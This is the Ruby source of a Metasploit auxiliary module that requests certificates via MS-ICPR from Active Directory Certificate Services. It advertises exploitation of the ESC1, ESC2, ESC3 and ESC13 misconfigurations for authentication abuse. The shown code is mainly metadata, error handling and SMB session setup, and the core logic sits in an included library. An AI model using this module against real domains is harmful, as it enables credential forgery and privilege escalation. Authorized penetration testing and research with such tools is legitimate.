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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'ruby_smb/dcerpc/client'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::MsIcpr
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  include Msf::Exploit::Remote::SMB::Client::Authenticated
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Auxiliary::Report
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  include Msf::OptionalSession::SMB
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ICPR Certificate Management',
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        'Description' => %q{
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          Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
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          template's configuration the resulting certificate can be used for various operations such as authentication.
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          PFX certificate files that are saved are encrypted with a blank password.
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          This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Will Schroeder', # original idea/research
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          'Lee Christensen', # original idea/research
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          'Oliver Lyak', # certipy implementation
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          'Spencer McIntyre'
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        ],
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        'References' => [
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          [ 'URL', 'https://github.com/GhostPack/Certify' ],
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          [ 'URL', 'https://github.com/ly4k/Certipy' ]
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        ],
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        'Notes' => {
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          'Reliability' => [],
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          'Stability' => [],
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          'SideEffects' => [ IOC_IN_LOGS ],
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          'AKA' => [ 'Certifry', 'Certipy' ]
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        },
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        'Actions' => [
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          [ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
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        ],
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        'DefaultAction' => 'REQUEST_CERT'
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      )
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    )
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  end
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  def run
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    send("action_#{action.name.downcase}")
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  rescue MsIcprConnectionError => e
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    fail_with(Failure::Unreachable, e.message)
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  rescue MsIcprAuthenticationError => e
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    fail_with(Failure::NoAccess, e.message)
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  rescue MsIcprNotFoundError => e
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    fail_with(Failure::NotFound, e.message)
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  rescue MsIcprUnexpectedReplyError => e
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    fail_with(Failure::UnexpectedReply, e.message)
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  rescue MsIcprUnknownError => e
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    fail_with(Failure::Unknown, e.message)
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  end
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  def action_request_cert
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    with_ipc_tree do |opts|
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      request_certificate(opts)
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    end
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  end
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  # @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
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  # @return [void]
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  def with_ipc_tree
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    opts = {}
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    if session
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      print_status("Using existing session #{session.sid}")
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      client = session.client
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      self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
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      opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")
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    end
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    yield opts
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  ensure
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    opts[:tree].disconnect! if opts[:tree]
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  end
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end
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